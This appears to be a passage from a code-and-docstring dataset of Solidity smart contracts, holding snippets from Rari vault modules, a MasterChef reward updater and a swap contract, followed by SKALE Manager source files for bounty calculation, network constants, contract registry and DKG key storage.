uint128 customHarvestWindow = getVaultCustomHarvestWindow[vault];
// Determine what the new harvest window should be for the Vault after the sync.
uint128 newHarvestWindow = customHarvestWindow == 0 ? defaultHarvestWindow : customHarvestWindow;
// Prevent spamming as this function requires no authorization.
require(vault.harvestWindow() != newHarvestWindow, "ALREADY_SYNCED");
// Set the Vault's harvest window to the custom harvest window
// or the default harvest window if a custom window isn't set.
vault.setHarvestWindow(newHarvestWindow);
}
/// @notice Syncs a Vault's target float percentage with either the Vault's custom target
/// float percentage or the default target float percentage if a custom percentage is not set.
/// @param vault The Vault to sync the target float percentage for.
function syncTargetFloatPercent(Vault vault) external {
// Get the Vault's custom target float percentage.
uint256 customTargetFloatPercent = getVaultCustomTargetFloatPercent[vault];
// Determine what the new target float percentage should be for the Vault after the sync.
uint256 newTargetFloatPercent = customTargetFloatPercent == 0
? defaultTargetFloatPercent
: customTargetFloatPercent;
// Prevent spamming as this function requires no authorization.
require(vault.targetFloatPercent() != newTargetFloatPercent, "ALREADY_SYNCED");
// Set the Vault's target float percentage to the custom target float percentage
// or the default target float percentage if a custom percentage isn't set.
vault.setTargetFloatPercent(newTargetFloatPercent);
}
}
// File srcBuild/modules/VaultInitializationModule.sol
pragma solidity ^0.8.11;
/// @title Rari Vault Initialization Module
/// @author Transmissions11 and JetJadeja
/// @notice Module for initializing newly created Vaults.
contract VaultInitializationModule is Auth {
/// @notice Vault configuration module used to configure Vaults before initialization.
VaultConfigurationModule public configModule;
/// @notice Creates a Vault initialization module.
/// @param _configModule The Vault configuration module the
/// module will use to configure Vaults before initialization.
/// @param _owner The owner of the module.
/// @param _authority The Authority of the module.
constructor(
VaultConfigurationModule _configModule,
address _owner,
Authority _authority
) Auth(_owner, _authority) {
configModule = _configModule;
}
/// @notice Emitted when the config module is updated.
/// @param newConfigModule The new configuration module.
event ConfigModuleUpdated(VaultConfigurationModule newConfigModule);
/// @notice Sets a new Vault configuration module.
/// @param newConfigModule The Vault configuration module to set.
function setConfigModule(VaultConfigurationModule newConfigModule) external requiresAuth {
// Update the config module.
configModule = newConfigModule;
emit ConfigModuleUpdated(newConfigModule);
}
/// @notice Properly configures and initializes a newly deployed Vault.
/// @dev This will revert if the Vault has already been initialized.
/// @param vault The Vault to configure and initialize.
function initializeVault(Vault vault) external {
// Configure all key parameters.
configModule.syncFeePercent(vault);
configModule.syncHarvestDelay(vault);
configModule.syncHarvestWindow(vault);
configModule.syncTargetFloatPercent(vault);
// Open the Vault up for deposits.
vault.initialize();
}
} | Returns if a Vault at an address has already been deployed. vault The address of a Vault which may not have been deployed yet. return A boolean indicating whether the Vault has been deployed already. This function is useful to check the return values of getVaultFromUnderlying, as it does not check that the Vault addresses it computes have been deployed yet. | function isVaultDeployed(Vault vault) external view returns (bool) {
return address(vault).code.length > 0;
}
| 1,204,184 |
./partial_match/56/0x59B58b7B249838f498d56f9D7FFEe16E32b9E7C0/sources/MasterChef.sol | Update reward variables of the given pool to be up-to-date. | function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0 || pool.allocPoint == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 kswapReward = multiplier.mul(kswapPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
kswap.mint(devaddr, kswapReward.div(10));
kswap.mint(address(this), kswapReward);
pool.accKswapPerShare = pool.accKswapPerShare.add(kswapReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
| 11,154,726 |
./full_match/84531/0x88Cc4aA0dd6Cf126b00C012dDa9f6F4fd9388b17/sources/contracts/Swap.sol | Stop ramping A immediately. Reverts if ramp A is already stopped./ | function stopRampA() external payable onlyOwner {
swapStorage.stopRampA();
}
| 11,523,353 |
// SPDX-License-Identifier: AGPL-3.0-only
/*
Bounty.sol - SKALE Manager
Copyright (C) 2020-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "./delegation/DelegationController.sol";
import "./delegation/PartialDifferences.sol";
import "./delegation/TimeHelpers.sol";
import "./delegation/ValidatorService.sol";
import "./ConstantsHolder.sol";
import "./Nodes.sol";
import "./Permissions.sol";
contract BountyV2 is Permissions {
using PartialDifferences for PartialDifferences.Value;
using PartialDifferences for PartialDifferences.Sequence;
struct BountyHistory {
uint month;
uint bountyPaid;
}
uint public constant YEAR1_BOUNTY = 3850e5 * 1e18;
uint public constant YEAR2_BOUNTY = 3465e5 * 1e18;
uint public constant YEAR3_BOUNTY = 3080e5 * 1e18;
uint public constant YEAR4_BOUNTY = 2695e5 * 1e18;
uint public constant YEAR5_BOUNTY = 2310e5 * 1e18;
uint public constant YEAR6_BOUNTY = 1925e5 * 1e18;
uint public constant EPOCHS_PER_YEAR = 12;
uint public constant SECONDS_PER_DAY = 24 * 60 * 60;
uint public constant BOUNTY_WINDOW_SECONDS = 3 * SECONDS_PER_DAY;
uint private _nextEpoch;
uint private _epochPool;
uint private _bountyWasPaidInCurrentEpoch;
bool public bountyReduction;
uint public nodeCreationWindowSeconds;
PartialDifferences.Value private _effectiveDelegatedSum;
// validatorId amount of nodes
mapping (uint => uint) public nodesByValidator; // deprecated
// validatorId => BountyHistory
mapping (uint => BountyHistory) private _bountyHistory;
function calculateBounty(uint nodeIndex)
external
allow("SkaleManager")
returns (uint)
{
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers"));
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController")
);
require(
_getNextRewardTimestamp(nodeIndex, nodes, timeHelpers) <= now,
"Transaction is sent too early"
);
uint validatorId = nodes.getValidatorId(nodeIndex);
if (nodesByValidator[validatorId] > 0) {
delete nodesByValidator[validatorId];
}
uint currentMonth = timeHelpers.getCurrentMonth();
_refillEpochPool(currentMonth, timeHelpers, constantsHolder);
_prepareBountyHistory(validatorId, currentMonth);
uint bounty = _calculateMaximumBountyAmount(
_epochPool,
_effectiveDelegatedSum.getAndUpdateValue(currentMonth),
_bountyWasPaidInCurrentEpoch,
nodeIndex,
_bountyHistory[validatorId].bountyPaid,
delegationController.getAndUpdateEffectiveDelegatedToValidator(validatorId, currentMonth),
delegationController.getAndUpdateDelegatedToValidatorNow(validatorId),
constantsHolder,
nodes
);
_bountyHistory[validatorId].bountyPaid = _bountyHistory[validatorId].bountyPaid.add(bounty);
bounty = _reduceBounty(
bounty,
nodeIndex,
nodes,
constantsHolder
);
_epochPool = _epochPool.sub(bounty);
_bountyWasPaidInCurrentEpoch = _bountyWasPaidInCurrentEpoch.add(bounty);
return bounty;
}
function enableBountyReduction() external onlyOwner {
bountyReduction = true;
}
function disableBountyReduction() external onlyOwner {
bountyReduction = false;
}
function setNodeCreationWindowSeconds(uint window) external allow("Nodes") {
nodeCreationWindowSeconds = window;
}
function handleDelegationAdd(
uint amount,
uint month
)
external
allow("DelegationController")
{
_effectiveDelegatedSum.addToValue(amount, month);
}
function handleDelegationRemoving(
uint amount,
uint month
)
external
allow("DelegationController")
{
_effectiveDelegatedSum.subtractFromValue(amount, month);
}
function populate() external onlyOwner {
ValidatorService validatorService = ValidatorService(contractManager.getValidatorService());
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController")
);
TimeHelpers timeHelpers = TimeHelpers(contractManager.getTimeHelpers());
uint currentMonth = timeHelpers.getCurrentMonth();
// clean existing data
for (
uint i = _effectiveDelegatedSum.firstUnprocessedMonth;
i < _effectiveDelegatedSum.lastChangedMonth.add(1);
++i
)
{
delete _effectiveDelegatedSum.addDiff[i];
delete _effectiveDelegatedSum.subtractDiff[i];
}
delete _effectiveDelegatedSum.value;
delete _effectiveDelegatedSum.lastChangedMonth;
_effectiveDelegatedSum.firstUnprocessedMonth = currentMonth;
uint[] memory validators = validatorService.getTrustedValidators();
for (uint i = 0; i < validators.length; ++i) {
uint validatorId = validators[i];
uint currentEffectiveDelegated =
delegationController.getAndUpdateEffectiveDelegatedToValidator(validatorId, currentMonth);
uint[] memory effectiveDelegated = delegationController.getEffectiveDelegatedValuesByValidator(validatorId);
if (effectiveDelegated.length > 0) {
assert(currentEffectiveDelegated == effectiveDelegated[0]);
}
uint added = 0;
for (uint j = 0; j < effectiveDelegated.length; ++j) {
if (effectiveDelegated[j] != added) {
if (effectiveDelegated[j] > added) {
_effectiveDelegatedSum.addToValue(effectiveDelegated[j].sub(added), currentMonth + j);
} else {
_effectiveDelegatedSum.subtractFromValue(added.sub(effectiveDelegated[j]), currentMonth + j);
}
added = effectiveDelegated[j];
}
}
delete effectiveDelegated;
}
}
function estimateBounty(uint nodeIndex) external view returns (uint) {
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers"));
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController")
);
uint currentMonth = timeHelpers.getCurrentMonth();
uint validatorId = nodes.getValidatorId(nodeIndex);
uint stagePoolSize;
(stagePoolSize, ) = _getEpochPool(currentMonth, timeHelpers, constantsHolder);
return _calculateMaximumBountyAmount(
stagePoolSize,
_effectiveDelegatedSum.getValue(currentMonth),
_nextEpoch == currentMonth.add(1) ? _bountyWasPaidInCurrentEpoch : 0,
nodeIndex,
_getBountyPaid(validatorId, currentMonth),
delegationController.getEffectiveDelegatedToValidator(validatorId, currentMonth),
delegationController.getDelegatedToValidator(validatorId, currentMonth),
constantsHolder,
nodes
);
}
function getNextRewardTimestamp(uint nodeIndex) external view returns (uint) {
return _getNextRewardTimestamp(
nodeIndex,
Nodes(contractManager.getContract("Nodes")),
TimeHelpers(contractManager.getContract("TimeHelpers"))
);
}
function getEffectiveDelegatedSum() external view returns (uint[] memory) {
return _effectiveDelegatedSum.getValues();
}
function initialize(address contractManagerAddress) public override initializer {
Permissions.initialize(contractManagerAddress);
_nextEpoch = 0;
_epochPool = 0;
_bountyWasPaidInCurrentEpoch = 0;
bountyReduction = false;
nodeCreationWindowSeconds = 3 * SECONDS_PER_DAY;
}
// private
function _calculateMaximumBountyAmount(
uint epochPoolSize,
uint effectiveDelegatedSum,
uint bountyWasPaidInCurrentEpoch,
uint nodeIndex,
uint bountyPaidToTheValidator,
uint effectiveDelegated,
uint delegated,
ConstantsHolder constantsHolder,
Nodes nodes
)
private
view
returns (uint)
{
if (nodes.isNodeLeft(nodeIndex)) {
return 0;
}
if (now < constantsHolder.launchTimestamp()) {
// network is not launched
// bounty is turned off
return 0;
}
if (effectiveDelegatedSum == 0) {
// no delegations in the system
return 0;
}
if (constantsHolder.msr() == 0) {
return 0;
}
uint bounty = _calculateBountyShare(
epochPoolSize.add(bountyWasPaidInCurrentEpoch),
effectiveDelegated,
effectiveDelegatedSum,
delegated.div(constantsHolder.msr()),
bountyPaidToTheValidator
);
return bounty;
}
function _calculateBountyShare(
uint monthBounty,
uint effectiveDelegated,
uint effectiveDelegatedSum,
uint maxNodesAmount,
uint paidToValidator
)
private
pure
returns (uint)
{
if (maxNodesAmount > 0) {
uint totalBountyShare = monthBounty
.mul(effectiveDelegated)
.div(effectiveDelegatedSum);
return _min(
totalBountyShare.div(maxNodesAmount),
totalBountyShare.sub(paidToValidator)
);
} else {
return 0;
}
}
function _getFirstEpoch(TimeHelpers timeHelpers, ConstantsHolder constantsHolder) private view returns (uint) {
return timeHelpers.timestampToMonth(constantsHolder.launchTimestamp());
}
function _getEpochPool(
uint currentMonth,
TimeHelpers timeHelpers,
ConstantsHolder constantsHolder
)
private
view
returns (uint epochPool, uint nextEpoch)
{
epochPool = _epochPool;
for (nextEpoch = _nextEpoch; nextEpoch <= currentMonth; ++nextEpoch) {
epochPool = epochPool.add(_getEpochReward(nextEpoch, timeHelpers, constantsHolder));
}
}
function _refillEpochPool(uint currentMonth, TimeHelpers timeHelpers, ConstantsHolder constantsHolder) private {
uint epochPool;
uint nextEpoch;
(epochPool, nextEpoch) = _getEpochPool(currentMonth, timeHelpers, constantsHolder);
if (_nextEpoch < nextEpoch) {
(_epochPool, _nextEpoch) = (epochPool, nextEpoch);
_bountyWasPaidInCurrentEpoch = 0;
}
}
function _getEpochReward(
uint epoch,
TimeHelpers timeHelpers,
ConstantsHolder constantsHolder
)
private
view
returns (uint)
{
uint firstEpoch = _getFirstEpoch(timeHelpers, constantsHolder);
if (epoch < firstEpoch) {
return 0;
}
uint epochIndex = epoch.sub(firstEpoch);
uint year = epochIndex.div(EPOCHS_PER_YEAR);
if (year >= 6) {
uint power = year.sub(6).div(3).add(1);
if (power < 256) {
return YEAR6_BOUNTY.div(2 ** power).div(EPOCHS_PER_YEAR);
} else {
return 0;
}
} else {
uint[6] memory customBounties = [
YEAR1_BOUNTY,
YEAR2_BOUNTY,
YEAR3_BOUNTY,
YEAR4_BOUNTY,
YEAR5_BOUNTY,
YEAR6_BOUNTY
];
return customBounties[year].div(EPOCHS_PER_YEAR);
}
}
function _reduceBounty(
uint bounty,
uint nodeIndex,
Nodes nodes,
ConstantsHolder constants
)
private
returns (uint reducedBounty)
{
if (!bountyReduction) {
return bounty;
}
reducedBounty = bounty;
if (!nodes.checkPossibilityToMaintainNode(nodes.getValidatorId(nodeIndex), nodeIndex)) {
reducedBounty = reducedBounty.div(constants.MSR_REDUCING_COEFFICIENT());
}
}
function _prepareBountyHistory(uint validatorId, uint currentMonth) private {
if (_bountyHistory[validatorId].month < currentMonth) {
_bountyHistory[validatorId].month = currentMonth;
delete _bountyHistory[validatorId].bountyPaid;
}
}
function _getBountyPaid(uint validatorId, uint month) private view returns (uint) {
require(_bountyHistory[validatorId].month <= month, "Can't get bounty paid");
if (_bountyHistory[validatorId].month == month) {
return _bountyHistory[validatorId].bountyPaid;
} else {
return 0;
}
}
function _getNextRewardTimestamp(uint nodeIndex, Nodes nodes, TimeHelpers timeHelpers) private view returns (uint) {
uint lastRewardTimestamp = nodes.getNodeLastRewardDate(nodeIndex);
uint lastRewardMonth = timeHelpers.timestampToMonth(lastRewardTimestamp);
uint lastRewardMonthStart = timeHelpers.monthToTimestamp(lastRewardMonth);
uint timePassedAfterMonthStart = lastRewardTimestamp.sub(lastRewardMonthStart);
uint currentMonth = timeHelpers.getCurrentMonth();
assert(lastRewardMonth <= currentMonth);
if (lastRewardMonth == currentMonth) {
uint nextMonthStart = timeHelpers.monthToTimestamp(currentMonth.add(1));
uint nextMonthFinish = timeHelpers.monthToTimestamp(lastRewardMonth.add(2));
if (lastRewardTimestamp < lastRewardMonthStart.add(nodeCreationWindowSeconds)) {
return nextMonthStart.sub(BOUNTY_WINDOW_SECONDS);
} else {
return _min(nextMonthStart.add(timePassedAfterMonthStart), nextMonthFinish.sub(BOUNTY_WINDOW_SECONDS));
}
} else if (lastRewardMonth.add(1) == currentMonth) {
uint currentMonthStart = timeHelpers.monthToTimestamp(currentMonth);
uint currentMonthFinish = timeHelpers.monthToTimestamp(currentMonth.add(1));
return _min(
currentMonthStart.add(_max(timePassedAfterMonthStart, nodeCreationWindowSeconds)),
currentMonthFinish.sub(BOUNTY_WINDOW_SECONDS)
);
} else {
uint currentMonthStart = timeHelpers.monthToTimestamp(currentMonth);
return currentMonthStart.add(nodeCreationWindowSeconds);
}
}
function _min(uint a, uint b) private pure returns (uint) {
if (a < b) {
return a;
} else {
return b;
}
}
function _max(uint a, uint b) private pure returns (uint) {
if (a < b) {
return b;
} else {
return a;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ConstantsHolder.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "./Permissions.sol";
/**
* @title ConstantsHolder
* @dev Contract contains constants and common variables for the SKALE Network.
*/
contract ConstantsHolder is Permissions {
// initial price for creating Node (100 SKL)
uint public constant NODE_DEPOSIT = 100 * 1e18;
uint8 public constant TOTAL_SPACE_ON_NODE = 128;
// part of Node for Small Skale-chain (1/128 of Node)
uint8 public constant SMALL_DIVISOR = 128;
// part of Node for Medium Skale-chain (1/32 of Node)
uint8 public constant MEDIUM_DIVISOR = 32;
// part of Node for Large Skale-chain (full Node)
uint8 public constant LARGE_DIVISOR = 1;
// part of Node for Medium Test Skale-chain (1/4 of Node)
uint8 public constant MEDIUM_TEST_DIVISOR = 4;
// typically number of Nodes for Skale-chain (16 Nodes)
uint public constant NUMBER_OF_NODES_FOR_SCHAIN = 16;
// number of Nodes for Test Skale-chain (2 Nodes)
uint public constant NUMBER_OF_NODES_FOR_TEST_SCHAIN = 2;
// number of Nodes for Test Skale-chain (4 Nodes)
uint public constant NUMBER_OF_NODES_FOR_MEDIUM_TEST_SCHAIN = 4;
// number of seconds in one year
uint32 public constant SECONDS_TO_YEAR = 31622400;
// initial number of monitors
uint public constant NUMBER_OF_MONITORS = 24;
uint public constant OPTIMAL_LOAD_PERCENTAGE = 80;
uint public constant ADJUSTMENT_SPEED = 1000;
uint public constant COOLDOWN_TIME = 60;
uint public constant MIN_PRICE = 10**6;
uint public constant MSR_REDUCING_COEFFICIENT = 2;
uint public constant DOWNTIME_THRESHOLD_PART = 30;
uint public constant BOUNTY_LOCKUP_MONTHS = 2;
// MSR - Minimum staking requirement
uint public msr;
// Reward period - 30 days (each 30 days Node would be granted for bounty)
uint32 public rewardPeriod;
// Allowable latency - 150000 ms by default
uint32 public allowableLatency;
/**
* Delta period - 1 hour (1 hour before Reward period became Monitors need
* to send Verdicts and 1 hour after Reward period became Node need to come
* and get Bounty)
*/
uint32 public deltaPeriod;
/**
* Check time - 2 minutes (every 2 minutes monitors should check metrics
* from checked nodes)
*/
uint public checkTime;
//Need to add minimal allowed parameters for verdicts
uint public launchTimestamp;
uint public rotationDelay;
uint public proofOfUseLockUpPeriodDays;
uint public proofOfUseDelegationPercentage;
uint public limitValidatorsPerDelegator;
uint256 public firstDelegationsMonth; // deprecated
// date when schains will be allowed for creation
uint public schainCreationTimeStamp;
uint public minimalSchainLifetime;
uint public complaintTimelimit;
/**
* @dev Allows the Owner to set new reward and delta periods
* This function is only for tests.
*/
function setPeriods(uint32 newRewardPeriod, uint32 newDeltaPeriod) external onlyOwner {
require(
newRewardPeriod >= newDeltaPeriod && newRewardPeriod - newDeltaPeriod >= checkTime,
"Incorrect Periods"
);
rewardPeriod = newRewardPeriod;
deltaPeriod = newDeltaPeriod;
}
/**
* @dev Allows the Owner to set the new check time.
* This function is only for tests.
*/
function setCheckTime(uint newCheckTime) external onlyOwner {
require(rewardPeriod - deltaPeriod >= checkTime, "Incorrect check time");
checkTime = newCheckTime;
}
/**
* @dev Allows the Owner to set the allowable latency in milliseconds.
* This function is only for testing purposes.
*/
function setLatency(uint32 newAllowableLatency) external onlyOwner {
allowableLatency = newAllowableLatency;
}
/**
* @dev Allows the Owner to set the minimum stake requirement.
*/
function setMSR(uint newMSR) external onlyOwner {
msr = newMSR;
}
/**
* @dev Allows the Owner to set the launch timestamp.
*/
function setLaunchTimestamp(uint timestamp) external onlyOwner {
require(now < launchTimestamp, "Cannot set network launch timestamp because network is already launched");
launchTimestamp = timestamp;
}
/**
* @dev Allows the Owner to set the node rotation delay.
*/
function setRotationDelay(uint newDelay) external onlyOwner {
rotationDelay = newDelay;
}
/**
* @dev Allows the Owner to set the proof-of-use lockup period.
*/
function setProofOfUseLockUpPeriod(uint periodDays) external onlyOwner {
proofOfUseLockUpPeriodDays = periodDays;
}
/**
* @dev Allows the Owner to set the proof-of-use delegation percentage
* requirement.
*/
function setProofOfUseDelegationPercentage(uint percentage) external onlyOwner {
require(percentage <= 100, "Percentage value is incorrect");
proofOfUseDelegationPercentage = percentage;
}
/**
* @dev Allows the Owner to set the maximum number of validators that a
* single delegator can delegate to.
*/
function setLimitValidatorsPerDelegator(uint newLimit) external onlyOwner {
limitValidatorsPerDelegator = newLimit;
}
function setSchainCreationTimeStamp(uint timestamp) external onlyOwner {
schainCreationTimeStamp = timestamp;
}
function setMinimalSchainLifetime(uint lifetime) external onlyOwner {
minimalSchainLifetime = lifetime;
}
function setComplaintTimelimit(uint timelimit) external onlyOwner {
complaintTimelimit = timelimit;
}
function initialize(address contractsAddress) public override initializer {
Permissions.initialize(contractsAddress);
msr = 0;
rewardPeriod = 2592000;
allowableLatency = 150000;
deltaPeriod = 3600;
checkTime = 300;
launchTimestamp = uint(-1);
rotationDelay = 12 hours;
proofOfUseLockUpPeriodDays = 90;
proofOfUseDelegationPercentage = 50;
limitValidatorsPerDelegator = 20;
firstDelegationsMonth = 0;
complaintTimelimit = 1800;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ContractManager.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol";
import "./utils/StringUtils.sol";
/**
* @title ContractManager
* @dev Contract contains the actual current mapping from contract IDs
* (in the form of human-readable strings) to addresses.
*/
contract ContractManager is OwnableUpgradeSafe {
using StringUtils for string;
using Address for address;
string public constant BOUNTY = "Bounty";
string public constant CONSTANTS_HOLDER = "ConstantsHolder";
string public constant DELEGATION_PERIOD_MANAGER = "DelegationPeriodManager";
string public constant PUNISHER = "Punisher";
string public constant SKALE_TOKEN = "SkaleToken";
string public constant TIME_HELPERS = "TimeHelpers";
string public constant TOKEN_LAUNCH_LOCKER = "TokenLaunchLocker";
string public constant TOKEN_STATE = "TokenState";
string public constant VALIDATOR_SERVICE = "ValidatorService";
// mapping of actual smart contracts addresses
mapping (bytes32 => address) public contracts;
/**
* @dev Emitted when contract is upgraded.
*/
event ContractUpgraded(string contractsName, address contractsAddress);
function initialize() external initializer {
OwnableUpgradeSafe.__Ownable_init();
}
/**
* @dev Allows the Owner to add contract to mapping of contract addresses.
*
* Emits a {ContractUpgraded} event.
*
* Requirements:
*
* - New address is non-zero.
* - Contract is not already added.
* - Contract address contains code.
*/
function setContractsAddress(string calldata contractsName, address newContractsAddress) external onlyOwner {
// check newContractsAddress is not equal to zero
require(newContractsAddress != address(0), "New address is equal zero");
// create hash of contractsName
bytes32 contractId = keccak256(abi.encodePacked(contractsName));
// check newContractsAddress is not equal the previous contract's address
require(contracts[contractId] != newContractsAddress, "Contract is already added");
require(newContractsAddress.isContract(), "Given contract address does not contain code");
// add newContractsAddress to mapping of actual contract addresses
contracts[contractId] = newContractsAddress;
emit ContractUpgraded(contractsName, newContractsAddress);
}
/**
* @dev Returns contract address.
*
* Requirements:
*
* - Contract must exist.
*/
function getDelegationPeriodManager() external view returns (address) {
return getContract(DELEGATION_PERIOD_MANAGER);
}
function getBounty() external view returns (address) {
return getContract(BOUNTY);
}
function getValidatorService() external view returns (address) {
return getContract(VALIDATOR_SERVICE);
}
function getTimeHelpers() external view returns (address) {
return getContract(TIME_HELPERS);
}
function getTokenLaunchLocker() external view returns (address) {
return getContract(TOKEN_LAUNCH_LOCKER);
}
function getConstantsHolder() external view returns (address) {
return getContract(CONSTANTS_HOLDER);
}
function getSkaleToken() external view returns (address) {
return getContract(SKALE_TOKEN);
}
function getTokenState() external view returns (address) {
return getContract(TOKEN_STATE);
}
function getPunisher() external view returns (address) {
return getContract(PUNISHER);
}
function getContract(string memory name) public view returns (address contractAddress) {
contractAddress = contracts[keccak256(abi.encodePacked(name))];
if (contractAddress == address(0)) {
revert(name.strConcat(" contract has not been found"));
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Decryption.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
/**
* @title Decryption
* @dev This contract performs encryption and decryption functions.
* Decrypt is used by SkaleDKG contract to decrypt secret key contribution to
* validate complaints during the DKG procedure.
*/
contract Decryption {
/**
* @dev Returns an encrypted text given a secret and a key.
*/
function encrypt(uint256 secretNumber, bytes32 key) external pure returns (bytes32 ciphertext) {
return bytes32(secretNumber) ^ key;
}
/**
* @dev Returns a secret given an encrypted text and a key.
*/
function decrypt(bytes32 ciphertext, bytes32 key) external pure returns (uint256 secretNumber) {
return uint256(ciphertext ^ key);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
KeyStorage.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "./Decryption.sol";
import "./Permissions.sol";
import "./SchainsInternal.sol";
import "./thirdparty/ECDH.sol";
import "./utils/Precompiled.sol";
import "./utils/FieldOperations.sol";
contract KeyStorage is Permissions {
using Fp2Operations for Fp2Operations.Fp2Point;
using G2Operations for G2Operations.G2Point;
struct BroadcastedData {
KeyShare[] secretKeyContribution;
G2Operations.G2Point[] verificationVector;
}
struct KeyShare {
bytes32[2] publicKey;
bytes32 share;
}
// Unused variable!!
mapping(bytes32 => mapping(uint => BroadcastedData)) private _data;
//
mapping(bytes32 => G2Operations.G2Point) private _publicKeysInProgress;
mapping(bytes32 => G2Operations.G2Point) private _schainsPublicKeys;
// Unused variable
mapping(bytes32 => G2Operations.G2Point[]) private _schainsNodesPublicKeys;
//
mapping(bytes32 => G2Operations.G2Point[]) private _previousSchainsPublicKeys;
function deleteKey(bytes32 schainId) external allow("SkaleDKG") {
_previousSchainsPublicKeys[schainId].push(_schainsPublicKeys[schainId]);
delete _schainsPublicKeys[schainId];
}
function initPublicKeyInProgress(bytes32 schainId) external allow("SkaleDKG") {
_publicKeysInProgress[schainId] = G2Operations.getG2Zero();
}
function adding(bytes32 schainId, G2Operations.G2Point memory value) external allow("SkaleDKG") {
require(value.isG2(), "Incorrect g2 point");
_publicKeysInProgress[schainId] = value.addG2(_publicKeysInProgress[schainId]);
}
function finalizePublicKey(bytes32 schainId) external allow("SkaleDKG") {
if (!_isSchainsPublicKeyZero(schainId)) {
_previousSchainsPublicKeys[schainId].push(_schainsPublicKeys[schainId]);
}
_schainsPublicKeys[schainId] = _publicKeysInProgress[schainId];
delete _publicKeysInProgress[schainId];
}
function getCommonPublicKey(bytes32 schainId) external view returns (G2Operations.G2Point memory) {
return _schainsPublicKeys[schainId];
}
function getPreviousPublicKey(bytes32 schainId) external view returns (G2Operations.G2Point memory) {
uint length = _previousSchainsPublicKeys[schainId].length;
if (length == 0) {
return G2Operations.getG2Zero();
}
return _previousSchainsPublicKeys[schainId][length - 1];
}
function getAllPreviousPublicKeys(bytes32 schainId) external view returns (G2Operations.G2Point[] memory) {
return _previousSchainsPublicKeys[schainId];
}
function initialize(address contractsAddress) public override initializer {
Permissions.initialize(contractsAddress);
}
function _isSchainsPublicKeyZero(bytes32 schainId) private view returns (bool) {
return _schainsPublicKeys[schainId].x.a == 0 &&
_schainsPublicKeys[schainId].x.b == 0 &&
_schainsPublicKeys[schainId].y.a == 0 &&
_schainsPublicKeys[schainId].y.b == 0;
}
function _getData() private view returns (BroadcastedData memory) {
return _data[keccak256(abi.encodePacked("UnusedFunction"))][0];
}
function _getNodesPublicKey() private view returns (G2Operations.G2Point memory) {
return _schainsNodesPublicKeys[keccak256(abi.encodePacked("UnusedFunction"))][0];
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
NodeRotation.sol - SKALE Manager
